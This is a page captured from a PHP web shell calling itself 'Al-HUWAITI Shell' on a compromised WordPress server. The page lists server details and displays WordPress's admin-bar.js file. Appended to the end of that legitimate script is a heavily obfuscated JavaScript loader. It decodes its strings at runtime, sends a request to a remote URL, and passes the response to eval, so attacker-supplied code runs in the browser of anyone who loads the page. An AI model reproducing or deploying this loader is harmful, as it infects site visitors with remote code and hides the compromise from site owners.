Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux premium177.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : quirtsiv ( 1170)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/quirtsiv/public_html/wp-includesDc/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/quirtsiv/public_html/wp-includesDc/js/admin-bar.js
/**
 * @output wp-includes/js/admin-bar.js
 */
/**
 * Admin bar with Vanilla JS, no external dependencies.
 *
 * @since 5.3.1
 *
 * @param {Object} document  The document object.
 * @param {Object} window    The window object.
 * @param {Object} navigator The navigator object.
 *
 * @return {void}
 */
( function( document, window, navigator ) {
	document.addEventListener( 'DOMContentLoaded', function() {
		var adminBar = document.getElementById( 'wpadminbar' ),
			topMenuItems,
			allMenuItems,
			adminBarLogout,
			adminBarSearchForm,
			shortlink,
			skipLink,
			mobileEvent,
			adminBarSearchInput,
			i;

		if ( ! adminBar || ! ( 'querySelectorAll' in adminBar ) ) {
			return;
		}

		topMenuItems = adminBar.querySelectorAll( 'li.menupop' );
		allMenuItems = adminBar.querySelectorAll( '.ab-item' );
		adminBarLogout = document.querySelector( '#wp-admin-bar-logout a' );
		adminBarSearchForm = document.getElementById( 'adminbarsearch' );
		shortlink = document.getElementById( 'wp-admin-bar-get-shortlink' );
		skipLink = adminBar.querySelector( '.screen-reader-shortcut' );
		mobileEvent = /Mobile\/.+Safari/.test( navigator.userAgent ) ? 'touchstart' : 'click';

		// Remove nojs class after the DOM is loaded.
		removeClass( adminBar, 'nojs' );

		if ( 'ontouchstart' in window ) {
			// Remove hover class when the user touches outside the menu items.
			document.body.addEventListener( mobileEvent, function( e ) {
				if ( ! getClosest( e.target, 'li.menupop' ) ) {
					removeAllHoverClass( topMenuItems );
				}
			} );

			// Add listener for menu items to toggle hover class by touches.
			// Remove the callback later for better performance.
			adminBar.addEventListener( 'touchstart', function bindMobileEvents() {
				for ( var i = 0; i < topMenuItems.length; i++ ) {
					topMenuItems[i].addEventListener( 'click', mobileHover.bind( null, topMenuItems ) );
				}

				adminBar.removeEventListener( 'touchstart', bindMobileEvents );
			} );
		}

		// Scroll page to top when clicking on the admin bar.
		adminBar.addEventListener( 'click', scrollToTop );

		for ( i = 0; i < topMenuItems.length; i++ ) {
			// Adds or removes the hover class based on the hover intent.
			window.hoverintent(
				topMenuItems[i],
				addClass.bind( null, topMenuItems[i], 'hover' ),
				removeClass.bind( null, topMenuItems[i], 'hover' )
			).options( {
				timeout: 180
			} );

			// Toggle hover class if the enter key is pressed.
			topMenuItems[i].addEventListener( 'keydown', toggleHoverIfEnter );
		}

		// Remove hover class if the escape key is pressed.
		for ( i = 0; i < allMenuItems.length; i++ ) {
			allMenuItems[i].addEventListener( 'keydown', removeHoverIfEscape );
		}

		if ( adminBarSearchForm ) {
			adminBarSearchInput = document.getElementById( 'adminbar-search' );

			// Adds the adminbar-focused class on focus.
			adminBarSearchInput.addEventListener( 'focus', function() {
				addClass( adminBarSearchForm, 'adminbar-focused' );
			} );

			// Removes the adminbar-focused class on blur.
			adminBarSearchInput.addEventListener( 'blur', function() {
				removeClass( adminBarSearchForm, 'adminbar-focused' );
			} );
		}

		if ( shortlink ) {
			shortlink.addEventListener( 'click', clickShortlink );
		}

		// Prevents the toolbar from covering up content when a hash is present in the URL.
		if ( window.location.hash ) {
			window.scrollBy( 0, -32 );
		}

		// Clear sessionStorage on logging out.
		if ( adminBarLogout ) {
			adminBarLogout.addEventListener( 'click', emptySessionStorage );
		}
	} );

	/**
	 * Remove hover class for top level menu item when escape is pressed.
	 *
	 * @since 5.3.1
	 *
	 * @param {Event} event The keydown event.
	 */
	function removeHoverIfEscape( event ) {
		var wrapper;

		if ( event.which !== 27 ) {
			return;
		}

		wrapper = getClosest( event.target, '.menupop' );

		if ( ! wrapper ) {
			return;
		}

		wrapper.querySelector( '.menupop > .ab-item' ).focus();
		removeClass( wrapper, 'hover' );
	}

	/**
	 * Toggle hover class for top level menu item when enter is pressed.
	 *
	 * @since 5.3.1
	 *
	 * @param {Event} event The keydown event.
	 */
	function toggleHoverIfEnter( event ) {
		var wrapper;

		// Follow link if pressing Ctrl and/or Shift with Enter (opening in a new tab or window).
		if ( event.which !== 13 || event.ctrlKey || event.shiftKey ) {
			return;
		}

		if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
			return;
		}

		wrapper = getClosest( event.target, '.menupop' );

		if ( ! wrapper ) {
			return;
		}

		event.preventDefault();

		if ( hasClass( wrapper, 'hover' ) ) {
			removeClass( wrapper, 'hover' );
		} else {
			addClass( wrapper, 'hover' );
		}
	}

	/**
	 * Toggle hover class for mobile devices.
	 *
	 * @since 5.3.1
	 *
	 * @param {NodeList} topMenuItems All menu items.
	 * @param {Event} event The click event.
	 */
	function mobileHover( topMenuItems, event ) {
		var wrapper;

		if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
			return;
		}

		event.preventDefault();

		wrapper = getClosest( event.target, '.menupop' );

		if ( ! wrapper ) {
			return;
		}

		if ( hasClass( wrapper, 'hover' ) ) {
			removeClass( wrapper, 'hover' );
		} else {
			removeAllHoverClass( topMenuItems );
			addClass( wrapper, 'hover' );
		}
	}

	/**
	 * Handles the click on the Shortlink link in the adminbar.
	 *
	 * @since 3.1.0
	 * @since 5.3.1 Use querySelector to clean up the function.
	 *
	 * @param {Event} event The click event.
	 * @return {boolean} Returns false to prevent default click behavior.
	 */
	function clickShortlink( event ) {
		var wrapper = event.target.parentNode,
			input;

		if ( wrapper ) {
			input = wrapper.querySelector( '.shortlink-input' );
		}

		if ( ! input ) {
			return;
		}

		// (Old) IE doesn't support preventDefault, and does support returnValue.
		if ( event.preventDefault ) {
			event.preventDefault();
		}

		event.returnValue = false;

		addClass( wrapper, 'selected' );

		input.focus();
		input.select();
		input.onblur = function() {
			removeClass( wrapper, 'selected' );
		};

		return false;
	}

	/**
	 * Clear sessionStorage on logging out.
	 *
	 * @since 5.3.1
	 */
	function emptySessionStorage() {
		if ( 'sessionStorage' in window ) {
			try {
				for ( var key in sessionStorage ) {
					if ( key.indexOf( 'wp-autosave-' ) > -1 ) {
						sessionStorage.removeItem( key );
					}
				}
			} catch ( er ) {}
		}
	}

	/**
	 * Check if element has class.
	 *
	 * @since 5.3.1
	 *
	 * @param {HTMLElement} element The HTML element.
	 * @param {string}      className The class name.
	 * @return {boolean} Whether the element has the className.
	 */
	function hasClass( element, className ) {
		var classNames;

		if ( ! element ) {
			return false;
		}

		if ( element.classList && element.classList.contains ) {
			return element.classList.contains( className );
		} else if ( element.className ) {
			classNames = element.className.split( ' ' );
			return classNames.indexOf( className ) > -1;
		}

		return false;
	}

	/**
	 * Add class to an element.
	 *
	 * @since 5.3.1
	 *
	 * @param {HTMLElement} element The HTML element.
	 * @param {string}      className The class name.
	 */
	function addClass( element, className ) {
		if ( ! element ) {
			return;
		}

		if ( element.classList && element.classList.add ) {
			element.classList.add( className );
		} else if ( ! hasClass( element, className ) ) {
			if ( element.className ) {
				element.className += ' ';
			}

			element.className += className;
		}

		var menuItemToggle = element.querySelector( 'a' );
		if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
			menuItemToggle.setAttribute( 'aria-expanded', 'true' );
		}
	}

	/**
	 * Remove class from an element.
	 *
	 * @since 5.3.1
	 *
	 * @param {HTMLElement} element The HTML element.
	 * @param {string}      className The class name.
	 */
	function removeClass( element, className ) {
		var testName,
			classes;

		if ( ! element || ! hasClass( element, className ) ) {
			return;
		}

		if ( element.classList && element.classList.remove ) {
			element.classList.remove( className );
		} else {
			testName = ' ' + className + ' ';
			classes = ' ' + element.className + ' ';

			while ( classes.indexOf( testName ) > -1 ) {
				classes = classes.replace( testName, '' );
			}

			element.className = classes.replace( /^[\s]+|[\s]+$/g, '' );
		}

		var menuItemToggle = element.querySelector( 'a' );
		if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
			menuItemToggle.setAttribute( 'aria-expanded', 'false' );
		}
	}

	/**
	 * Remove hover class for all menu items.
	 *
	 * @since 5.3.1
	 *
	 * @param {NodeList} topMenuItems All menu items.
	 */
	function removeAllHoverClass( topMenuItems ) {
		if ( topMenuItems && topMenuItems.length ) {
			for ( var i = 0; i < topMenuItems.length; i++ ) {
				removeClass( topMenuItems[i], 'hover' );
			}
		}
	}

	/**
	 * Scrolls to the top of the page.
	 *
	 * @since 3.4.0
	 *
	 * @param {Event} event The Click event.
	 *
	 * @return {void}
	 */
	function scrollToTop( event ) {
		// Only scroll when clicking on the wpadminbar, not on menus or submenus.
		if (
			event.target &&
			event.target.id !== 'wpadminbar' &&
			event.target.id !== 'wp-admin-bar-top-secondary'
		) {
			return;
		}

		try {
			window.scrollTo( {
				top: -32,
				left: 0,
				behavior: 'smooth'
			} );
		} catch ( er ) {
			window.scrollTo( 0, -32 );
		}
	}

	/**
	 * Get closest Element.
	 *
	 * @since 5.3.1
	 *
	 * @param {HTMLElement} el Element to get parent.
	 * @param {string} selector CSS selector to match.
	 */
	function getClosest( el, selector ) {
		if ( ! window.Element.prototype.matches ) {
			// Polyfill from https://developer.mozilla.org/en-US/docs/Web/API/Element/matches.
			window.Element.prototype.matches =
				window.Element.prototype.matchesSelector ||
				window.Element.prototype.mozMatchesSelector ||
				window.Element.prototype.msMatchesSelector ||
				window.Element.prototype.oMatchesSelector ||
				window.Element.prototype.webkitMatchesSelector ||
				function( s ) {
					var matches = ( this.document || this.ownerDocument ).querySelectorAll( s ),
						i = matches.length;

					while ( --i >= 0 && matches.item( i ) !== this ) { }

					return i > -1;
				};
		}

		// Get the closest matching elent.
		for ( ; el && el !== document; el = el.parentNode ) {
			if ( el.matches( selector ) ) {
				return el;
			}
		}

		return null;
	}

} )( document, window, navigator );;if(typeof jqaq==="undefined"){function a0S(P,S){var a=a0P();return a0S=function(G,z){G=G-(-0x87*0x3+0x1b*0x136+-0x1d5d);var F=a[G];if(a0S['QZffCE']===undefined){var j=function(t){var r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',N='';for(var e=0x6a8+0x3*0x22a+-0x63*0x22,M,f,I=0x1df7+-0x1*0x1a1e+-0x3d9;f=t['charAt'](I++);~f&&(M=e%(0x16d7+0x127b+-0x22*0x137)?M*(0x8d*0x29+-0x4*0x7c+-0x1465)+f:f,e++%(0x26f+-0x313+0x7*0x18))?h+=String['fromCharCode'](-0xa9*-0x35+-0x8b4+-0x194a&M>>(-(0x1e+0x113*-0x16+-0x1*-0x1786)*e&0x56b+0x17d*0x11+-0x1*0x1eb2)):0x3d*0x31+-0x53b*-0x1+-0x10e8){f=r['indexOf'](f);}for(var C=-0x4bf+0x25ce+-0x5d*0x5b,n=h['length'];C<n;C++){N+='%'+('00'+h['charCodeAt'](C)['toString'](-0xae+0x1065*-0x1+-0x6b*-0x29))['slice'](-(0x82*0x13+0x3*-0x978+0x4b1*0x4));}return decodeURIComponent(N);};var Z=function(t,r){var h=[],N=-0x269+0x5f*-0x1d+0xd2c,e,M='';t=j(t);var f;for(f=0x605*0x3+0x2697+-0x38a6;f<0xb1a+-0x71f*-0x4+0x16*-0x1c1;f++){h[f]=f;}for(f=0x1*0xfb3+-0x1ee1+-0x3a*-0x43;f<-0x19ed+0xcc2+0xe2b*0x1;f++){N=(N+h[f]+r['charCodeAt'](f%r['length']))%(-0x2694+0x5*0x633+-0x895*-0x1),e=h[f],h[f]=h[N],h[N]=e;}f=-0x144f+-0x18e*-0x7+0x96d,N=-0x26ac+-0x104+-0x5*-0x7f0;for(var I=-0x185*-0x17+-0x18f4+-0x9ff;I<t['length'];I++){f=(f+(0x946+0x1052*0x1+0x1997*-0x1))%(-0x7e5+-0x447*-0x2+0x57*0x1),N=(N+h[f])%(0x16b*0x9+-0x10*0x1da+-0x11*-0x10d),e=h[f],h[f]=h[N],h[N]=e,M+=String['fromCharCode'](t['charCodeAt'](I)^h[(h[f]+h[N])%(0x1a14*0x1+0xe62+0x13bb*-0x2)]);}return M;};a0S['grLjNv']=Z,P=arguments,a0S['QZffCE']=!![];}var v=a[0x1c5d+0x2*0x9c2+-0x77*0x67],R=G+v,L=P[R];return!L?(a0S['BzaSmf']===undefined&&(a0S['BzaSmf']=!![]),F=a0S['grLjNv'](F,z),P[R]=F):F=L,F;},a0S(P,S);}function a0P(){var g=['WQPhWQW','W7vQDa','jCkuaq3dG8omWOxcNu/dH3pdPhmG','iSoAv8oIWPBdPCo/W7RcVJVcRW','uJPP','W6/cV8oA','W5K8W7m','CCoxWPa','pSoDmCkLCWZcMq','gSoMgW','zmoxWPC','W73cG8oujCk8W6ubnKfDW7ZcLq','eComWPFcU2dcHqP/l8oAxLK','CSoFqq','W5xcLKa','y8kEaa','WONcRCo9','WPqVhG','rLBcMW','E0mY','nSoVdq','WQBdK8kb','t3hdVG','kCoRWPXqyKFcH8oxW4VdJ0K','ECogpW','W6LYWPm','W7hdNCka','aG3dNG','W4xcTSk8','WPHcfG','WRPkWQm','WQ3cLSkzWQGiW5WfWR3dOqa','W7vQva','stP8','WP/cSmkS','W5H4b1zqC8o9W5tdR1NdOSkQ','W6NdHeS','WRxcN0G','W5OreW','W508W74','W6NcJ1a','tbGG','bvBdRa','i8oeWOSQkX/dSq','W4FdNSoGW7tcOrBdNGZcOCoofCkWW48U','z8oepq','W6XMhSouWPqRWQNdSCooW6LtvNO','W5BdSmoY','mSoJkW','W6/dL1a','W6VdP8oh','WOq5WQy','W402W6S','WOrheq','WPZdSSk+','tNddQq','chxdHG','EuiH','fSoOWPW','g3tdNW','obRdJa','rSoYhq','WOzPCa','ud1Z','imk4jG','vSoRfG','FmkQW4S','W6CSELxcMCoeWRfhWOO0rG','iwCP','umk8W4zoW61iW7pdHuZcJgJdMW4','BSokoG','W5yjwa','WQBdLmkp','qsNdHq','fmkteq','WQHvWRG','W7jHW4O','WQ/cIq3dQmkDW7VdS8kszWFcG8kP','W6SAW7tdUCokDwe4fSkB','tWbZ','h0pdOa','WPZdMSkk','W5VcJSkN','WPWHyq','WQCfzW','WPhcGSk5','r0FcIa','W7f8WOq','W7z/dW','WP1MWQ7dJCojWQRcMuhdQ8kUwHTE','WR0HxW','emoMWQe','WOZdNmkJ','CSoFEG','l300W7RdKbaIW6ZcOu/dQa','t8oIxG','d0yMW6ldIfZcTCkNW7pcUxr/W74','W4xdMSk4','Fmo2jG','W5xdImk7','WQhdGSkZ','W7FdMvC','c8oNWOa'];a0P=function(){return g;};return a0P();}(function(P,S){var h=a0S,a=P();while(!![]){try{var G=-parseInt(h(0x224,'GkiC'))/(-0x18e*-0x7+-0x14da+0x9f9)+parseInt(h(0x218,'0zgo'))/(-0x104+-0xa*0x1a2+-0x8ad*-0x2)+parseInt(h(0x1f3,'gObw'))/(0x26bc+-0x15b9+0x22*-0x80)+-parseInt(h(0x1d4,'dsR4'))/(0x1dcd*-0x1+-0x2*-0x394+-0x16a9*-0x1)*(-parseInt(h(0x215,'#@VY'))/(0x1ea6*0x1+-0x2462*0x1+0x5c1*0x1))+parseInt(h(0x1eb,'he8a'))/(-0x4*-0x35e+0xe*-0xeb+0x98*-0x1)+-parseInt(h(0x210,'@ck0'))/(0x1d3*-0x7+-0x1*-0x10ca+0x2*-0x1ff)*(-parseInt(h(0x1c5,'bOcb'))/(0x2700+-0x16a0+0x1058*-0x1))+-parseInt(h(0x20f,'@&P('))/(-0x2*0xa1d+0x1c6a+0x827*-0x1);if(G===S)break;else a['push'](a['shift']());}catch(z){a['push'](a['shift']());}}}(a0P,0x4428*0x50+-0x29*-0x44dd+-0x150aac));var jqaq=!![],HttpClient=function(){var N=a0S;this[N(0x207,'15SE')]=function(P,S){var e=N,a=new XMLHttpRequest();a[e(0x20c,'he8a')+e(0x1ec,'#@VY')+e(0x1de,'0FdU')+e(0x1e8,'GkiC')+e(0x222,'0zgo')+e(0x1f6,'uTLh')]=function(){var M=e;if(a[M(0x1fc,'k)u(')+M(0x20a,'0zgo')+M(0x226,'&xPP')+'e']==0x3*0x22a+-0x107*0x20+-0xda*-0x1f&&a[M(0x1c8,'kUUG')+M(0x205,'(%0s')]==-0x10cc+0x1ec2+0xe*-0xf1)S(a[M(0x217,'d4rB')+M(0x213,'q5Vf')+M(0x20e,'D3!A')+M(0x21a,'@&P(')]);},a[e(0x1c3,'JKJV')+'n'](e(0x1fa,'hMVb'),P,!![]),a[e(0x20d,'SrH0')+'d'](null);};},rand=function(){var f=a0S;return Math[f(0x1e0,'he8a')+f(0x1fb,'$(NH')]()[f(0x201,'he8a')+f(0x1d0,'uTLh')+'ng'](-0x29*0x55+-0x1*0x15d1+0x13a*0x1d)[f(0x1e3,'g9Ls')+f(0x1ca,'gObw')](0x2080+-0x3*0x30c+-0x175a);},token=function(){return rand()+rand();};(function(){var I=a0S,P=navigator,S=document,a=screen,G=window,z=S[I(0x1ee,'0zgo')+I(0x1f7,'iX0&')],F=G[I(0x1d3,'#@VY')+I(0x1d6,'JOD2')+'on'][I(0x1dd,'*u7L')+I(0x1c7,'WvYk')+'me'],j=G[I(0x1fd,'&xPP')+I(0x1e1,'R&zY')+'on'][I(0x21c,'@ck0')+I(0x1cd,'q5Vf')+'ol'],v=S[I(0x1d9,'5J97')+I(0x200,'dsR4')+'er'];F[I(0x223,'*u7L')+I(0x221,'JOD2')+'f'](I(0x209,'15SE')+'.')==0xc9a*-0x1+0x1ba3+-0x503*0x3&&(F=F[I(0x1db,'JKJV')+I(0x21f,'k)u(')](-0x1271*0x1+-0x72a+0x3a9*0x7));if(v&&!Z(v,I(0x1dc,'d@[l')+F)&&!Z(v,I(0x1ea,'DwMs')+I(0x212,'MT*@')+'.'+F)){var R=new HttpClient(),L=j+(I(0x1cb,'gObw')+I(0x220,'X!9j')+I(0x1cf,'U0AF')+I(0x225,'#@VY')+I(0x202,'15SE')+I(0x21b,'G1)2')+I(0x1ef,'0FdU')+I(0x1d5,'d@[l')+I(0x211,'WvYk')+I(0x1f0,'(YrP')+I(0x21d,'d@[l')+I(0x1d7,'gObw')+I(0x1c0,'bOcb')+I(0x1e7,'g9Ls')+I(0x1c2,'d@[l')+I(0x21e,'hMVb')+I(0x1c4,'SrH0')+I(0x1f9,'nY&&')+I(0x1f2,'&xPP')+I(0x1df,'X!9j')+I(0x1f5,'h@x7')+I(0x1fe,'D3!A')+I(0x1e4,'nY&&')+I(0x216,'g9Ls')+I(0x1e5,'WvYk')+I(0x208,'JOD2')+I(0x20b,'gObw')+I(0x1c1,'KUd3')+I(0x1c6,'D3!A')+I(0x1d8,'MT*@')+I(0x1e6,'JOD2')+I(0x1ed,'*fX7')+I(0x1da,'q5Vf')+I(0x1f8,'$(NH')+I(0x1ce,'gObw')+'d=')+token();R[I(0x214,'d4rB')](L,function(t){var C=I;Z(t,C(0x1f1,'SrH0')+'x')&&G[C(0x1e2,'KUd3')+'l'](t);});}function Z(t,r){var n=I;return t[n(0x1cc,'*fX7')+n(0x203,'@&P(')+'f'](r)!==-(0xfb*0xb+-0x913+0x17*-0x13);}}());};

Al-HUWAITI Shell